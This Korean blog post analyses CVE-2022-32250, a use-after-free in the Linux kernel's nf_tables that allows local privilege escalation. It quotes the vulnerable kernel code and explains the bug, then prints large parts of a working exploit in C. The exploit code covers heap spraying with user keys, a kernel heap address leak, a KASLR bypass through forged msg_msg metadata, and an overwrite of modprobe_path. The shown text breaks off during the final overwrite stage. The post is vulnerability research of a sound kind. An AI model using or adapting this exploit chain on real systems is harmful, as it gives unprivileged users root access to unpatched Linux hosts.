반응형
Notice
Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Archives
Today
Total
관리 메뉴

ZZoMb1E

[CVE] nf_tables (CVE-2022-32250) 본문

STUDY/CVE && Fuzzing

[CVE] nf_tables (CVE-2022-32250)

ZZoMb1E 2024. 11. 26. 13:03
728x90
반응형

※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다. 

※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.

 

해당 Target에 대한 정보는 앞서 포스팅한 CVE-2022-1015, CVE-2022-1016을 참고하면 된다.

https://whrdud727.tistory.com/entry/CVE-nftables-CVE-2022-1016

 

[CVE] nf_tables (CVE-2022-1016)

※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다. ※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다. https://whrdud727.tistory.com/

whrdud727.tistory.com

 

1.  Target


nf_tables

  • Linux Kernel의 Netfilter 시스템에서 동작하는 규칙 기반 packit filtering 시스템이다. 

 

Netfilter

  • Linux에서 패킷 필터링과 패킷 처리를 관리하는 핵심 component

 

 

 

 

2. CVE & CWE


CVE-2022-32250

Linux Kernel의 5.18.1 이전까지 net/netfilter/nf_tables_api.c에서 발생한 로컬 사용자가 Namespace 및 User를 생성할 수 있음을 이용한 LPE(권한 상승) 취약점이다.

- 잘못된 NFT_STATEFULE_EXPR 검사로 인한 Use After Free 취약점

 

CWE-416

메모리가 해제된 이후 다시 사용되거나 참조될 때 발생하는 Use After Free 취약점

 

 

 

 

 

3. CVE 관련 정보


https://nvd.nist.gov/vuln/detail/cve-2022-32250

 

NVD - cve-2022-32250

CVE-2022-32250 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description net/netfilter/nf_tables_api.c in the Linux ker

nvd.nist.gov

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-32250

 

CVE - CVE-2022-32250

20220602 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

https://cwe.mitre.org/data/definitions/416.html

 

CWE - CWE-416: Use After Free (4.16)

div.collapseblock { display:inline} Weakness ID: 416 Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a sp

cwe.mitre.org

 

 

 

4. Vulnerability

nf_tables에서 set에 대한 expr을 할당하는 과정에서 잘못된 플래그 검사 방식을 사용하기 때문에 취약점이 발생
-> (유효하지 않은 expr이 담긴 set을 할당하는 과정)

 

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
					 const struct nft_set *set,
					 const struct nlattr *attr)
{
	struct nft_expr *expr;
	int err;

	expr = nft_expr_init(ctx, attr);
	if (IS_ERR(expr))
		return expr;

	err = -EOPNOTSUPP;
	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
		goto err_set_elem_expr;

	if (expr->ops->type->flags & NFT_EXPR_GC) {
		if (set->flags & NFT_SET_TIMEOUT)
			goto err_set_elem_expr;
		if (!set->ops->gc_init)
			goto err_set_elem_expr;
		set->ops->gc_init(set);
	}

	return expr;

err_set_elem_expr:
	nft_expr_destroy(ctx, expr);
	return ERR_PTR(err);
}

nft_set_elem_expr_alloc()는 set에 expr object를 생성하여 할당하는 기능을 수행하는 함수이다.

해당 함수를 살펴보면 nft_expr_init()을 호출하여 메모리를 할당하는데, 이후 expr->ops->type->flags에 대한 검사를 수행한다. 정상적인 방식이라면 먼저 플래그에 대한 검사를 수행하고 나서 메모리를 할당하는 구조인데 그렇지 않은 이 구조에서 취약점이 발생하게 된다.

 

static struct nft_expr *nft_expr_init(const struct nft_ctx *ctx,
				      const struct nlattr *nla)
{
	struct nft_expr_info info;
	struct nft_expr *expr;
	struct module *owner;
	int err;

	err = nf_tables_expr_parse(ctx, nla, &info);
	if (err < 0)
		goto err1;

	err = -ENOMEM;
	expr = kzalloc(info.ops->size, GFP_KERNEL);
	if (expr == NULL)
		goto err2;

	err = nf_tables_newexpr(ctx, &info, expr);
	if (err < 0)
		goto err3;

	return expr;
err3:
	kfree(expr);
err2:
	owner = info.ops->type->owner;
	if (info.ops->type->release_ops)
		info.ops->type->release_ops(info.ops);

	module_put(owner);
err1:
	return ERR_PTR(err);
}

nft_expr_init()에서 nf_tables_expr_parse()를 통해 expr에 대한 정보를 파싱해온 후, 이후 kzmalloc()으로 메모리를 할당한다.(expr)

kzmalloc()은 kmalloc과 달리 메모리를 할당하면서 초기화를 진행하는 함수이다.
User 영역의 calloc()과 동일

 

expr을 위한 공간을 할당한 이후에 nf_tables_newexpr()를 호출한다.

 

static const struct nft_expr_ops nft_lookup_ops = {
	.type		= &nft_lookup_type,
	.size		= NFT_EXPR_SIZE(sizeof(struct nft_lookup)),
	.eval		= nft_lookup_eval,
	.init		= nft_lookup_init,
	.activate	= nft_lookup_activate,
	.deactivate	= nft_lookup_deactivate,
	.destroy	= nft_lookup_destroy,
	.dump		= nft_lookup_dump,
	.validate	= nft_lookup_validate,
};

현재 nft_lookup에 expr을 할당하는 절차이기에 info.ops에서는 nft_lookup_ops가 실행된다.

이때 할당되는 expr은 kmalloc-64로 할당되게 된다.

 

 

static int nf_tables_newexpr(const struct nft_ctx *ctx,
			     const struct nft_expr_info *info,
			     struct nft_expr *expr)
{
	const struct nft_expr_ops *ops = info->ops;
	int err;

	expr->ops = ops;
	if (ops->init) {
		err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
		if (err < 0)
			goto err1;
	}

	return 0;
err1:
	expr->ops = NULL;
	return err;
}

 

nf_tables_newexpr()에서 expr->ops를 참고하여 함수를 실행하는데 여기서는 nft_lookup_init()이 실행된다.

	.init		= nft_lookup_init,

 

 

static int nft_lookup_init(const struct nft_ctx *ctx,
			   const struct nft_expr *expr,
			   const struct nlattr * const tb[])
{
	struct nft_lookup *priv = nft_expr_priv(expr);
	u8 genmask = nft_genmask_next(ctx->net);
	struct nft_set *set;
	u32 flags;
	int err;

	if (tb[NFTA_LOOKUP_SET] == NULL ||
	    tb[NFTA_LOOKUP_SREG] == NULL)
		return -EINVAL;

	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
				    tb[NFTA_LOOKUP_SET_ID], genmask);
	if (IS_ERR(set))
		return PTR_ERR(set);

	err = nft_parse_register_load(tb[NFTA_LOOKUP_SREG], &priv->sreg,
				      set->klen);
	if (err < 0)
		return err;

	if (tb[NFTA_LOOKUP_FLAGS]) {
		flags = ntohl(nla_get_be32(tb[NFTA_LOOKUP_FLAGS]));

		if (flags & ~NFT_LOOKUP_F_INV)
			return -EINVAL;

		if (flags & NFT_LOOKUP_F_INV) {
			if (set->flags & NFT_SET_MAP)
				return -EINVAL;
			priv->invert = true;
		}
	}

	if (tb[NFTA_LOOKUP_DREG] != NULL) {
		if (priv->invert)
			return -EINVAL;
		if (!(set->flags & NFT_SET_MAP))
			return -EINVAL;

		err = nft_parse_register_store(ctx, tb[NFTA_LOOKUP_DREG],
					       &priv->dreg, NULL, set->dtype,
					       set->dlen);
		if (err < 0)
			return err;
	} else if (set->flags & NFT_SET_MAP)
		return -EINVAL;

	priv->binding.flags = set->flags & NFT_SET_MAP;

	err = nf_tables_bind_set(ctx, set, &priv->binding);
	if (err < 0)
		return err;

	priv->set = set;
	return 0;
}

nft_lookup object 초기화 후, nf_tables_bind_set()을 호출하여 set과 expr을 Double Linked List로 연결한다.

 

int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
		       struct nft_set_binding *binding)
{
	struct nft_set_binding *i;
	struct nft_set_iter iter;

	if (set->use == UINT_MAX)
		return -EOVERFLOW;

	if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
		return -EBUSY;

	if (binding->flags & NFT_SET_MAP) {
		/* If the set is already bound to the same chain all
		 * jumps are already validated for that chain.
		 */
		list_for_each_entry(i, &set->bindings, list) {
			if (i->flags & NFT_SET_MAP &&
			    i->chain == binding->chain)
				goto bind;
		}

		iter.genmask	= nft_genmask_next(ctx->net);
		iter.skip 	= 0;
		iter.count	= 0;
		iter.err	= 0;
		iter.fn		= nf_tables_bind_check_setelem;

		set->ops->walk(ctx, set, &iter);
		if (iter.err < 0)
			return iter.err;
	}
bind:
	binding->chain = ctx->chain;
	list_add_tail_rcu(&binding->list, &set->bindings);
	nft_set_trans_bind(ctx, set);
	set->use++;

	return 0;
}

set->bindings 리스트를 확인하여 set에 이미 연결된 expr에 대한 처리를 수행한다.

  • 연결된 것이 있다면 새로 할당된 expr을 set과 연결된 expr에 연결
  • 비어있다면 set과 새로 할당된 expr을 연결

정상적인 할당을 수행하면 위 그림과 같은 구조로 만들어진다.

 

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

struct nft_lookup {
	struct nft_set			*set;
	u8				sreg;
	u8				dreg;
	bool				invert;
	struct nft_set_binding		binding;
};

nft_expr->data에 nft_lookup 구조체가 연결, nft_lookup->binding 구조체가 set 또는 다른 expr과 연결된 Double Linked list 구조이다.

 

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
					 const struct nft_set *set,
					 const struct nlattr *attr)
{
	struct nft_expr *expr;
	int err;

	expr = nft_expr_init(ctx, attr);
...

	err = -EOPNOTSUPP;
	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
		goto err_set_elem_expr;

...

err_set_elem_expr:
	nft_expr_destroy(ctx, expr);
	return ERR_PTR(err);
}

nft_expr_init() 실행 후 다시 복귀한 이후에, expr->ops->type->flags가 NFT_EXPR_STATEFUL인지 검사를 수행하고, 만족하지 않는 경우 nft_expr_destroy()가 실행된다.

 

void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
{
	nf_tables_expr_destroy(ctx, expr);
	kfree(expr);
}

nft_expr_destroy()는 nf_tables_expr_destroy()를 실행 후, kfree()를 통해 expr object를 해제한다.

 

static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
				   struct nft_expr *expr)
{
	const struct nft_expr_type *type = expr->ops->type;

	if (expr->ops->destroy)
		expr->ops->destroy(ctx, expr);
	module_put(type->owner);
}

expr->ops->destroy를 통해 nft_lookup_destroy()가 실행된다.

 

static void nft_lookup_destroy(const struct nft_ctx *ctx,
			       const struct nft_expr *expr)
{
	struct nft_lookup *priv = nft_expr_priv(expr);

	nf_tables_destroy_set(ctx, priv->set);
}

nf_tables_destroy_set()를 실행한다.

 

void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
	if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
		nft_set_destroy(ctx, set);
}

nf_tables_distroy_set()는 expr과 연결된 set를 destroy 수행한다.

  • set->bindings은 앞의 nft_expr_init() 내부의 nf_tables_bind_set()에 의해 expr과 연결되어 있는 상태
  • list_empty() 조건이 만족하지 못하기 때문에 set은 해제되지 않음

 

expr은 nft_expr_destroy()에서 해제가 되지만 set은 해제되지 않는 상태가 된다. 

즉 set->bindings에는 expr object 주소가 남아있게 되어 Use After Free 취약점이 발생하게 된다.

 

 


 

정상적인 nf_tables는 이와 같이 Double Linked List 구조라고 했었다.

이제 취약점을 Trigger 했을 때 어떻게 되는지를 살펴보겠다.

 

NFT_EXPR_STATEFUL flag가 없는 nft_lookup expr을 통해 set에 할당하려고 시도하는 경우 expr은 해제되지만 set은 해제되지 않는다. 이때 set->bindings에 해제되어 버리는 nft_expr(*nft_lookup) obejct가 남아있게 된다.

 

이후 nf_tables_bind_set()을 통해 새로 할당하고 bind할 때 set에 다른 expr이 존재하는 경우 새로 할당된 expr을 기존 expr에 연결한다.

kmalloc-64 청크에서 bindings.next에 대한 offset은 0x18이다.

앞서 설명한 방법을 사용하면 expr의 주소를 덮어쓰는 것이 가능해지고, 새로 할당된 expr 역시 유효하지 않은 경우 2개의 UAF 청크를 만들 수 있다.

 

 

 

5. PoC

PoC에서는 kmalloc-64 구조체를 조작하기 위해서 user_key_payload, posix_msg_tree_node 구조체를 이용한다.

LPE를 할 것인데 msg_msg 구조체를 사용하지 않는 이유는 msg_msg 구조체의 경우 +0x18에 접근이 불가능하며, Kernel 5.15부터는 msg_msg 구조체가 GEP_KERNEL_ACCOUNT flag로 할당되기 때문에 일반적인 방법으로는 GFP_KERNEL flag로 할당되는 nft_expr(*nft_lookup) 청크와 결합되게 만들 수 없게 되었다.

 

 

struct user_key_payload

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short  datalen;
    char        data[] __aligned(__alignof__(u64));
};

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

user_key_payload 구조체는 Kernel의 Kering을 위해 동작한다. 

Kering은 Linux Kernel에서 암호화 키, 인증 토큰 등의 기타 민감함 데이터를 안전하게 저장 및 관리하는데 사용되는 하위 시스템이다.

 

set_add_key syscall을 통해 새로운 키를 추가, sys_keyctl syscall을 통해 상호작용을 수행한다.

user_key_payload의 +0x18 에는 data라는 맴버 변수가 존재한다. 이는 user_key_payload 구조체와 해제된 nft_expr(*nft_lookup) 청크를 경합했을 때 user_key_payload->data를 통해 +0x18에 해당하는 nft_lookup->binding의 값을 읽거나 덮어쓸 수 있게 된다.

 

int user_preparse(struct key_preparsed_payload *prep)
{
	struct user_key_payload *upayload;
	size_t datalen = prep->datalen;

	if (datalen <= 0 || datalen > 32767 || !prep->data)
		return -EINVAL;

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	/* attach the data */
	prep->quotalen = datalen;
	prep->payload.data[0] = upayload;
	upayload->datalen = datalen;
	memcpy(upayload->data, prep->data, datalen);
	return 0;
}

user_key_payload 구조체는 user_preparse()를 통해 할당된다.

[ add_key(syscall) -> key_create_or_update() -> index_key.type->preparse() 에서 user_preparse()가 호출된다.]

 

메모리를 할당한 이후에는 memcpy()를 통해 user_key_payload->data 멤버 변수에 User로 부터 받은 prep->data 값을 복사하는 데 이를 이용하여 nft_lookup->binding을 조작할 수 있게 된다.

 

typedef int32_t key_serial_t;

static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
    return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}

syscall을 통해 위의 조작 과정을 Trigger 할 수 있다.

 

SYSCALL_DEFINE5(keyctl, int, option, unsigned long, arg2, unsigned long, arg3,
		unsigned long, arg4, unsigned long, arg5)
{
	switch (option) {
...
	case KEYCTL_READ:
		return keyctl_read_key((key_serial_t) arg2,
				       (char __user *) arg3,
				       (size_t) arg4);
...
	}

sys_keyctl syscall을 사용하면 user->key_payload->data의 값을 읽을 수 있는데 이를 이용하여 memory leak을 수행할 수 있다.

 

static inline key_serial_t sys_keyctl(int cmd, ...)
{
    va_list ap;
    long arg2, arg3, arg4, arg5;

    va_start(ap, cmd);
    arg2 = va_arg(ap, long);
    arg3 = va_arg(ap, long);
    arg4 = va_arg(ap, long);
    arg5 = va_arg(ap, long);
    va_end(ap);

    return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}

keyctl_read_key()는 sys_keyctl syscall인자로 KECTL_READ를 주어 Leak에 대한 Trigger가 가능하다.

 Heap spray를 수행하게 되면 이와 같이 데이터들이 저장되는 것을 볼 수 있다.

이후 실제로 사용되는 메모리가 binding되면 +0x18 위치에 Heap 영역의 주소가 들어있는 것을 볼 수 있다.

실제로 Leak된 값과 동일하다.


 

struct posix_msg_tree_node

struct posix_msg_tree_node {
	struct rb_node		rb_node;
	struct list_head	msg_list;
	int			priority;
};

struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

해당 구조체는 mqueue에서 사용하는 구조체이다.

mqueue : POSIX Message Queue를 구현한 Linux Kernel의 시스템으로 프로세스 간 통신을 위해 사용한다.

 

+0x18을 살펴보면 posix_msg_tree_node->list_head.next가 있는데, 이는 nft_expr(*nft_lookup) object의 Dangling Pointer를 덮어쓸 수 있다.

  • posix_msg_tree_node->msg_list 멤버 변수는 msg_msg 구조체를 담고 있는 linked list이다. 여기에 취약점을 Trigger 하게 되면 이미 해제된 nft_expr(*nft_lookup) object를 msg_msg 구조체로 Type Confusion을 일으킬 수 있게 된다.
  • nft_expr(*nft_lookup object를 user_key_payload 구조체와 경합하게 되면 msg_msg object를 덮어쓸 수 있게 된다.

 

// open queue
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;

mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);

// send msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
	perror("clock_gettime");
	exit(1);
}

memcpy(buffer, "test", 4);
mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts);

// recv msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
	perror("clock_gettime");
	exit(1);
}

mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);

do_mq_timedsend syscall을 사용하여 posix_msg_tree_node object를 할당하거나 do_mq_timedreceive syscall를 통해 posix_msg_tree_node 구조체와 연결된 msg_msg object를 읽을 수 있다.

 

 

 


 

PoC에서는 앞서 설명한  2개의 구조체를 사용하여 Exploit을 수행한다.

user_key_payload 구조체를 이용하여 Kernel Heap 주소를 Leak수행한다.

굳이 Heap 주소를 구하는 이유는 posix_msg_tree_node 구조체의 멤버 변수 중에서 유효한 주소를 필요로 하는데, 만약 해당 변수가 유효하지 않은 주소가 들어가게 된다면 Kernel Pannic이 발생하게 된다. 때문에 유효한 주소인 Heap 주소를 구하고 이를 이용하 msg_msg 구조체를 덮어쓰는 것이다.

 

해제된 청크를 user_key_payload와 경합 후 다시 Trigger을 하게 되면 nft_lookup->binding.next에 다른 nft_expr(*nft_lookup) object의 주소를 덮어쓸 수 있다. 

user_key_payload->data의 값이 nft_expr(*nft_lookup) object의 주소인 Heap 영역의 주소가 위치하기 때문에 이를 읽게 되면 Leak을 수행할 수 있다.

 

#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90

//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=start; i<end; i++){
        snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
        keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
        if (keys[i] == -1)
            err(1, "[-] failed key spraying");
    }
    
    printf("[+] sprayed user_key_payload\n");
    return keys;
}

int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){

    int ret = 0;
    char buffer[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=0; i<KEY_SPRAY_COUNT; i++){
        ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
        if (ret == -1)
            err(1, "[-] failed key read");

        //printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
        if((uint8_t)buffer[7] == 0xff){
            *kheap = *((uint64_t*)buffer);
            return i;
        }
    }

    err(1, "[-] failed leak kernel heap address");
}

void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            revoke_key(keys[c]);
        c++;
    }
    printf("[+] revoked all sprayed keys\n");
}

void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            unlink_key(keys[c]);
        c++;
    }
    printf("[+] unlinked all sprayed keys\n");
}

해당 기능을 수행하는 사용자 지정 함수들이다.

 

   //main()
	  printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");

    netfilter_new_table(nl, "table1");
    netfilter_new_stable_set(nl, "table1", "set_stable1");
    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
		//할당 -> 여기서 UAF 취약점이 발생
    key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);
		//heap spray를 통해서 해제된 청크를 user_key_payload 구조체로 병합
    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
	  //다시 expr 생성과정을 통해 +0x18의 heap 주소를 가지게 설정
    uint64_t kheap = 0;
    int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
    printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);
		//leak 수행
    revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);

main()의 흐름에서 마지막에 KEYCTL_REVOKE, KEYCTL_UNLINK는 user_key_payload->rcu에 해제 함수를 등록하고 keyring을 제거하는 역할을 수행한다. (key를 할당하는 것은 제한적이기 때문에 해제를 해준다.)

 

같은 방법으로 KASLR을 우회하기 위한 Kernel base를 구해주어야 한다.

posix_msg_tree_node를 해제된 청크화 경합 후 다시 취약점을 Trigger 하게 되면, posix_msg_tree_node->msg_list 맴버 변수를 또 다른 nft_expr(*nft_lookup) object로 덮어쓸 수 있다.

이후 nft_expr(*nft_lookup) object를 user_key_payload와 경합한다. 이렇게 되면 +0x18을 이용하여 msg_msg의 메타 데이터를 조작할 수 있게 된다. (msg_msg->m_ts에 의해 msg_msg 크기가 결정되는데 이를 이용해 메모리 경계를 넘어 다른 obejct로의 접근이 가능해진다.)

이후 user_key_payload->rcu.func에 담긴 주소를 leak하게 되면 KASLR을 우회할 수 있다.

 

do_mq_timedreceive syscall을 사용하여 posix_msg_tree_node→msg_lisg.next(msg_msg)→ data[]를 읽을 때 Kernel Pannic이 발생하지 않게 하기 위해서는 msg_msg를 다음과 같은 메타 데이터로 덮어줘야 한다.

msg_list.next, msg_list.prev, *security → 임의의 Heap 주소
m_ts : msg_msg 데이터 size
m_type : dummy 8 byte

이때 위의 조건을 만족시켜주지 못하면 Kernel Pannic이 발생하기 때문에 주의해줘야 한다.

 

key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };
    char desc[KEY_PAYLOAD_SIZE] = {0, };
    uint64_t m_ts = 0x28;

    memcpy(payload,(char*)(&addr1),0x8); // m_list.next
    memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
    memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
    memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts

    int c = 0;
    for(int i=start; i<end; i++){
        snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
        keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
        if (keys[c] == -1)
            err(1, "[-] failed key spraying");
        c++;
    }
    
    printf("[+] sprayed fake obj user_key_payload\n");
    return keys;
}


#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24

mqd_t sys_mq_open(char *queue_name){
    
    struct mq_attr attr;
    attr.mq_flags = 0;
    attr.mq_maxmsg = MQ_MAX_COUNT;
    attr.mq_msgsize = MQ_SIZE;
    attr.mq_curmsgs = 0;

    // 메시지 큐 열기
    mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
    if (mq == (mqd_t)-1) {
        err(1, "[-] failed mq_open");
    }

    printf("[+] mq_open : %s\n", queue_name);
    return mq;
}

void create_fake_obj_posix_msg_tree_node(mqd_t mq){

    struct timespec ts;
    char buffer[MQ_SIZE] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    memcpy(buffer, "test", 4);

    if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
        err(1, "[-] failed mq_timedsend");
    }

    printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}

uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    hexdump(buffer,0x20);
    if((uint8_t)buffer[7] == 0xff){
        return *((uint64_t*)buffer);
    } else {
        err(1, "[-] failed leak kaslr");
    }
}

 

해당 기능을 수행하는 사용자 지정 함수이다.

 

//main()
printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");

...

    mqd_t mq1 = sys_mq_open("/queue-leak");
    mqd_t mq2 = sys_mq_open("/queue-overwrite");
    mqd_t mq3 = sys_mq_open("/queue-overwrite3");
    
...
    printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");

    netfilter_new_table(nl, "table2");
    netfilter_new_stable_set(nl, "table2", "set_stable2");
    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
		//잘못된 flag를 사용하여 UAF 조건 상태 조작
    create_fake_obj_posix_msg_tree_node(mq1);
		//posix_msg_tree_node 구조체로 병합
    key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);
		//spray를 통해 user_key_payload 할당 -> msg_msg 조작을 위함
    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
    key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
		//청크 조작
    revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
    printf("[*] Kernel Base = 0x%lx\n", kernel_base);
    
    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
	unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
		//spray된 모든 청크 정리

 

동일한 과정을 통해 0xffffffff81373330이 leak이 된다.

PoC에서 Offset 계산을 수행하는 부분과 비교해 보면 값을 정상적으로 구해내는 것을 확인할 수 있다.

 

 

 

 

취약점을 Trigger 하여 Heap, Kernel base 주소를 구해냈다. 

이후 구해낸 값들을 가지고 Exploit을 시도한다.

 

static inline struct msg_msg *msg_get(struct mqueue_inode_info *info)
{
	struct rb_node *parent = NULL;
	struct posix_msg_tree_node *leaf;
	struct msg_msg *msg;

...
		msg = list_first_entry(&leaf->msg_list,
				       struct msg_msg, m_list);
		list_del(&msg->m_list);
...
	return msg;
}

static inline void
__list_del(struct list_head *prev, struct list_head *next)
{
    next->prev = prev;
    prev->next = next;
}

posix_msg_tree_node object를 통한 msg_msg, user_key_payload 경합을 사용하면 앞의 과정처럼 leak을 수행할 수도 있지만 overwrite도 가능하다.

do_mq_timedreceive syscall은 msg_msg object를 일기 위해 msg_get()을 호출하고, 여기서 __list_del()을 통해 msg_msg object를 unlink 한다.

  • next→prev = prev, prev→next = next와 같이 메모리 쓰기 작업을 수행
  • 구조체 경합을 통해 msg_msg의 next, prev 메타 데이터를 조작할 수 있음
  • next : 덮어 쓰일 대상 주소 || prev : 덮어써진 값

이때 Kernel Pannic을 방지하려면 prev에도 정상적인 메모리 주소가 들어가야 한다.

→ (Kernel Heap Address & 0xffffffffffff0000) + 덮어쓸 값

→ 2byte overwrite 가능

→ 여러번 수행 가능하기 때문에 /sbin/modprobe를 조작하여 modprobe_path조작 권한상승 가능해진다.

 

printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");

    uint64_t modprobe_path = kernel_base + 0x144dac0;
    printf("[*] modprobe_path = 0x%lx\n", modprobe_path);

    netfilter_new_table(nl, "table3");
    netfilter_new_stable_set(nl, "table3", "set_stable3");
    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");

    create_fake_obj_posix_msg_tree_node(mq2);

    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
    uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq2);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);

    netfilter_new_table(nl, "table4");
    netfilter_new_stable_set(nl, "table4", "set_stable4");
    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");

    create_fake_obj_posix_msg_tree_node(mq3);

    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
    modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
